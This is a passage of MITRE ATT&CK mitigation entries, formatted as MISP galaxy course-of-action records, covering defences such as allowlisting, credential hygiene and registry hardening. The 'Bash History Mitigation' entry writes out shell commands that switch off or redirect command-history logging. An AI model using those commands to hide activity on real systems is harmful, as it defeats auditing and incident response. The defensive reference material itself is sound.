http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1045
https://technet.microsoft.com/en-us/library/ee791851.aspx

Data Staged Mitigation - T1074

Identify system utilities, remote access or third-party tools, users or potentially malicious software that may be used to store compressed or encrypted data in a publicly writeable directory, central location, or commonly used staging directories (e.g. recycle bin) that is indicative of non-standard behavior, and audit and/or block them by using file integrity monitoring tools where appropriate. Consider applying data size limits or blocking file writes of common compression and encryption utilities such as 7zip, RAR, ZIP, or zlib on frequently used staging directories or central locations and monitor attempted violations of those restrictions.

The tag is: *misp-galaxy:mitre-course-of-action="Data Staged Mitigation - T1074"*

Table 9344. Table References

Links
https://attack.mitre.org/mitigations/T1074

Environmental Keying Mitigation - T1480

This technique likely should not be mitigated with preventative controls because it may protect unintended targets from being compromised. If targeted, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent

malicious behavior if compromised.

The tag is: *misp-galaxy:mitre-course-of-action="Environmental Keying Mitigation - T1480"*

Table 9345. Table References

Links
https://attack.mitre.org/mitigations/T1480

Do Not Mitigate - M1055

The Do Not Mitigate category highlights scenarios where attempting to mitigate a specific technique may inadvertently increase the organization's security risk or operational instability. This could happen due to the complexity of the system, the integration of critical processes, or the potential for introducing new vulnerabilities. Instead of direct mitigation, these situations may call for alternative strategies such as detection, monitoring, or response. The Do Not Mitigate category underscores the importance of assessing the trade-offs between mitigation efforts and overall system integrity. This mitigation can be implemented through the following measures:

Complex Systems Where Mitigation is Risky:

- Interpretation: In certain systems, direct mitigation could introduce new risks, especially if the system is highly interconnected or complex, such as in legacy industrial control systems (ICS). Patching or modifying these systems could result in unplanned downtime, disruptions, or even safety risks.
- Use Case: In a power grid control system, attempting to patch or disable certain services related to device communications might disrupt critical operations, leading to unintended service outages.

Risk of Reducing Security Coverage:

- Interpretation: In some cases, mitigating a technique might reduce the visibility or effectiveness of other security controls, limiting an organization's ability to detect broader attacks.
- Use Case: Disabling script execution on a web server to mitigate potential PowerShell-based attacks could interfere with legitimate administrative operations that rely on scripting, while attackers may still find alternate ways to execute code.

Introduction of New Vulnerabilities:

- Interpretation: In highly sensitive or tightly controlled environments, implementing certain mitigations might create vulnerabilities in other parts of the system. For instance, disabling default security mechanisms in an attempt to resolve compatibility issues may open the system to exploitation.
- Use Case: Disabling certificate validation to resolve internal communication issues in a secure environment could lead to man-in-the-middle attacks, creating a greater vulnerability than the original problem.

Negative Impact on Performance and Availability:

- Interpretation: Mitigations that involve removing or restricting system functionalities can have unintended consequences for system performance and availability. Some mitigations, while effective at blocking certain attacks, may introduce performance bottlenecks or compromise essential operations.
- Use Case: Implementing high levels of encryption to mitigate data theft might result in significant performance degradation in systems handling large volumes of real-time transactions.

The tag is: *misp-galaxy:mitre-course-of-action="Do Not Mitigate - M1055"*

Table 9346. Table References

Links
https://attack.mitre.org/mitigations/M1055

Data Loss Prevention - M1057

Data Loss Prevention (DLP) involves implementing strategies and technologies to identify, categorize, monitor, and control the movement of sensitive data within an organization. This includes protecting data formats indicative of Personally Identifiable Information (PII), intellectual property, or financial data from unauthorized access, transmission, or exfiltration. DLP solutions integrate with network, endpoint, and cloud platforms to enforce security policies and prevent accidental or malicious data leaks. (Citation: PurpleSec Data Loss Prevention) This mitigation can be implemented through the following measures:

Sensitive Data Categorization:

- Use Case: Identify and classify data based on sensitivity (e.g., PII, financial data, trade secrets).
- Implementation: Use DLP solutions to scan and tag files containing sensitive information using predefined patterns, such as Social Security Numbers or credit card details.

Exfiltration Restrictions:

- Use Case: Prevent unauthorized transmission of sensitive data.
- Implementation: Enforce policies to block unapproved email attachments, unauthorized USB usage, or unencrypted data uploads to cloud storage.

Data-in-Transit Monitoring:

- Use Case: Detect and prevent the transmission of sensitive data over unapproved channels.
- Implementation: Deploy network-based DLP tools to inspect outbound traffic for sensitive content (e.g., financial records or PII) and block unapproved transmissions.

Endpoint Data Protection:

- Use Case: Monitor and control sensitive data usage on endpoints.
- Implementation: Use endpoint-based DLP agents to block copy-paste actions of sensitive data and unauthorized printing or file sharing.

Cloud Data Security:

- Use Case: Protect data stored in cloud platforms.
- Implementation: Integrate DLP with cloud storage platforms like Google Drive, OneDrive, or AWS to monitor and restrict sensitive data sharing or downloads.

The tag is: *misp-galaxy:mitre-course-of-action="Data Loss Prevention - M1057"*

Table 9347. Table References

Links
https://attack.mitre.org/mitigations/M1057
https://purplesec.us/data-loss-prevention/

Process Discovery Mitigation - T1057

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Process Discovery Mitigation - T1057"*

Table 9348. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1057
https://technet.microsoft.com/en-us/library/ee791851.aspx

Do Not Mitigate - M1059

This category is to associate techniques that mitigation might increase risk of compromise and therefore mitigation is not recommended.

The tag is: *misp-galaxy:mitre-course-of-action="Do Not Mitigate - M1059"*

Table 9349. Table References

Links

https://attack.mitre.org/mitigations/M1059

Account Discovery Mitigation - T1087

Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located <code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\CredUI\EnumerateAdministrators</code>. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Account Discovery Mitigation - T1087"*

Table 9350. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1087
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077

Valid Accounts Mitigation - T1078

Take measures to detect or prevent techniques such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or installation of keyloggers to acquire credentials through [Input Capture](https://attack.mitre.org/techniques/T1056). Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems.

Follow best practices for design and administration of an enterprise network to limit privileged

account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)

Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized.

Applications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. (Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet) When possible, applications that use SSH keys should be updated periodically and properly secured.

The tag is: *misp-galaxy:mitre-course-of-action="Valid Accounts Mitigation - T1078"*

Table 9351. Table References

Links
https://attack.mitre.org/mitigations/T1078
https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach
https://technet.microsoft.com/en-us/library/dn487450.aspx
https://technet.microsoft.com/en-us/library/dn535501.aspx
https://www.us-cert.gov/ncas/alerts/TA13-175A

Multilayer Encryption Mitigation - T1079

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Multilayer Encryption Mitigation - T1079"*

Table 9352. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1079

Modify Registry Mitigation - T1112

Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through [Service Registry Permissions Weakness](https://attack.mitre.org/techniques/T1058). Ensure proper permissions are set for Registry hives to prevent users from

modifying keys for system components that may lead to privilege escalation.

Identify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Modify Registry Mitigation - T1112"*

Table 9353. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1112
https://technet.microsoft.com/en-us/library/ee791851.aspx

Authentication Package Mitigation - T1131

Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code>, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)

The tag is: *misp-galaxy:mitre-course-of-action="Authentication Package Mitigation - T1131"*

Table 9354. Table References

Links
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
https://attack.mitre.org/mitigations/T1131
https://technet.microsoft.com/en-us/library/dn408187.aspx

Screen Capture Mitigation - T1113

Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Screen Capture Mitigation - T1113"*

Table 9355. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1113
https://technet.microsoft.com/en-us/library/ee791851.aspx

Email Collection Mitigation - T1114

Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.

Use of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.

Identify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Email Collection Mitigation - T1114"*

Table 9356. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1114
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Input Prompt Mitigation - T1141

This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to mitigate. Use user training as a way to bring awareness and raise suspicion for potentially malicious events (ex: Office documents prompting for credentials).

The tag is: *misp-galaxy:mitre-course-of-action="Input Prompt Mitigation - T1141"*

Table 9357. Table References

Links
https://attack.mitre.org/mitigations/T1141

Clipboard Data Mitigation - T1115

Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Clipboard Data Mitigation - T1115"*

Table 9358. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1115
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

LC_LOAD_DYLIB Addition Mitigation - T1161

Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn't included as part of an update, it should be investigated.

The tag is: *misp-galaxy:mitre-course-of-action="LC_LOAD_DYLIB Addition Mitigation - T1161"*

Table 9359. Table References

Links

https://attack.mitre.org/mitigations/T1161

Code Signing Mitigation - T1116

Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)

The tag is: *misp-galaxy:mitre-course-of-action="Code Signing Mitigation - T1116"*

Table 9360. Table References

Links
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1116
https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/
https://technet.microsoft.com/en-us/library/cc733026.aspx

Automated Collection Mitigation - T1119

Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through [Input Capture](https://attack.mitre.org/techniques/T1056) and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through [Brute Force](https://attack.mitre.org/techniques/T1110) techniques.

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Automated Collection Mitigation - T1119"*

Table 9361. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599

https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1119
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Template Injection Mitigation - T1221

Consider disabling Microsoft Office macros/active content to prevent the execution of malicious payloads in documents (Citation: Microsoft Disable Macros), though this setting may not mitigate the [Forced Authentication](https://attack.mitre.org/techniques/T1187) use for this technique.

Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations including training users to identify social engineering techniques and spearphishing emails. Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads. (Citation: Anomali Template Injection MAR 2018)

The tag is: *misp-galaxy:mitre-course-of-action="Template Injection Mitigation - T1221"*

Table 9362. Table References

Links
https://attack.mitre.org/mitigations/T1221
https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104
https://support.office.com/article/enable-or-disable-macros-in-office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6

Audio Capture Mitigation - T1123

Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.

Identify and block potentially malicious software that may be used to record audio by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Audio Capture Mitigation - T1123"*

Table 9363. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx

http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1123
https://technet.microsoft.com/en-us/library/ee791851.aspx

Data Encoding Mitigation - T1132

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Data Encoding Mitigation - T1132"*

Table 9364. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1132

Video Capture Mitigation - T1125

Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.

Identify and block potentially malicious software that may be used to capture video and images by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Video Capture Mitigation - T1125"*

Table 9365. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

https://attack.mitre.org/mitigations/T1125
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Login Item Mitigation - T1162

Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically (Citation: Re-Open windows on Mac).

The tag is: *misp-galaxy:mitre-course-of-action="Login Item Mitigation - T1162"*

Table 9366. Table References

Links
https://attack.mitre.org/mitigations/T1162
https://support.apple.com/en-us/HT204005

Domain Fronting Mitigation - T1172

If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.

In order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.

The tag is: *misp-galaxy:mitre-course-of-action="Domain Fronting Mitigation - T1172"*

Table 9367. Table References

Links
http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016
https://attack.mitre.org/mitigations/T1172
https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html

AppCert DLLs Mitigation - T1182

Identify and block potentially malicious software that may be executed through AppCert DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

The tag is: *misp-galaxy:mitre-course-of-action="AppCert DLLs Mitigation - T1182"*

Table 9368. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1182

Spearphishing Link Mitigation - T1192

Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk. Other mitigations can take place as [User Execution](https://attack.mitre.org/techniques/T1204) occurs.

The tag is: *misp-galaxy:mitre-course-of-action="Spearphishing Link Mitigation - T1192"*

Table 9369. Table References

Links
https://attack.mitre.org/mitigations/T1192

Hidden Window Mitigation - T1143

Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.

The tag is: *misp-galaxy:mitre-course-of-action="Hidden Window Mitigation - T1143"*

Table 9370. Table References

Links
https://attack.mitre.org/mitigations/T1143

Create Account Mitigation - T1136

Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to create privileged accounts within an environment.

Adversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.

Protect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.

The tag is: *misp-galaxy:mitre-course-of-action="Create Account Mitigation - T1136"*

Table 9371. Table References

Links
https://attack.mitre.org/mitigations/T1136

Application Shimming Mitigation - T1138

There currently aren't a lot of ways to mitigate application shimming. Disabling the Shim Engine isn't recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the "auto-elevate" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC.

Changing UAC settings to "Always Notify" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.

The tag is: *misp-galaxy:mitre-course-of-action="Application Shimming Mitigation - T1138"*

Table 9372. Table References

Links
https://attack.mitre.org/mitigations/T1138

Spearphishing Attachment Mitigation - T1193

Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.

Block unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).

Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.

The tag is: *misp-galaxy:mitre-course-of-action="Spearphishing Attachment Mitigation - T1193"*

Table 9373. Table References

Links
https://attack.mitre.org/mitigations/T1193

Bash History Mitigation - T1139

There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands: <code>set +o history</code> and <code>set -o history</code> to start logging again; <code>unset HISTFILE</code> being added to a user's .bash_rc file; and <code>ln -s /dev/null ~/.bash_history</code> to write commands to <code>/dev/null</code>instead.

The tag is: *misp-galaxy:mitre-course-of-action="Bash History Mitigation - T1139"*

Table 9374. Table References

Links
https://attack.mitre.org/mitigations/T1139

Gatekeeper Bypass Mitigation - T1144

Other tools should be used to supplement Gatekeeper's functionality. Additionally, system settings can prevent applications from running that haven't been downloaded through the Apple Store which can help mitigate some of these issues.

The tag is: *misp-galaxy:mitre-course-of-action="Gatekeeper Bypass Mitigation - T1144"*

Table 9375. Table References

Links
https://attack.mitre.org/mitigations/T1144

Private Keys Mitigation - T1145

Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of [Valid Accounts](https://attack.mitre.org/techniques/T1078).

The tag is: *misp-galaxy:mitre-course-of-action="Private Keys Mitigation - T1145"*

Table 9376. Table References

Links

https://attack.mitre.org/mitigations/T1145

Hidden Users Mitigation - T1147

If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the <code>/Library/Preferences/com.apple.loginwindow</code> <code>Hide500Users</code> value will force all users to be visible.

The tag is: *misp-galaxy:mitre-course-of-action="Hidden Users Mitigation - T1147"*

Table 9377. Table References

Links
https://attack.mitre.org/mitigations/T1147

SSH Hijacking Mitigation - T1184

Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)

The tag is: *misp-galaxy:mitre-course-of-action="SSH Hijacking Mitigation - T1184"*

Table 9378. Table References

Links
https://attack.mitre.org/mitigations/T1184
https://www.symantec.com/connect/articles/ssh-and-ssh-agent

LC_MAIN Hijacking Mitigation - T1149

Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.

The tag is: *misp-galaxy:mitre-course-of-action="LC_MAIN Hijacking Mitigation - T1149"*

Table 9379. Table References

Links
https://attack.mitre.org/mitigations/T1149

Startup Items Mitigation - T1165

Since StartupItems are deprecated, preventing all users from writing to the <code>/Library/StartupItems</code> directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can't be leveraged for privilege escalation.

The tag is: *misp-galaxy:mitre-course-of-action="Startup Items Mitigation - T1165"*

Table 9380. Table References

Links
https://attack.mitre.org/mitigations/T1165

Dylib Hijacking Mitigation - T1157

Prevent users from being able to write files to the search paths for applications, both in the folders where applications are run from and the standard dylib folders. If users can't write to these directories, then they can't intercept the search path.

The tag is: *misp-galaxy:mitre-course-of-action="Dylib Hijacking Mitigation - T1157"*

Table 9381. Table References

Links
https://attack.mitre.org/mitigations/T1157

Launch Agent Mitigation - T1159

Restrict user's abilities to create Launch Agents with group policy.

The tag is: *misp-galaxy:mitre-course-of-action="Launch Agent Mitigation - T1159"*

Table 9382. Table References

Links
https://attack.mitre.org/mitigations/T1159

Browser Extensions Mitigation - T1176

Only install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.

Browser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)

Change settings to prevent the browser from installing extensions without sufficient permissions.

Close out all browser sessions when finished using them.

The tag is: *misp-galaxy:mitre-course-of-action="Browser Extensions Mitigation - T1176"*

Table 9383. Table References

Links
http://www.technospot.net/blogs/block-chrome-extensions-using-google-chrome-group-policy-settings/
https://attack.mitre.org/mitigations/T1176

Process Doppelgänging Mitigation - T1186

This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although Process Doppelgänging may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Process Doppelgänging Mitigation - T1186"*

Table 9384. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://attack.mitre.org/mitigations/T1186
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

LSASS Driver Mitigation - T1177

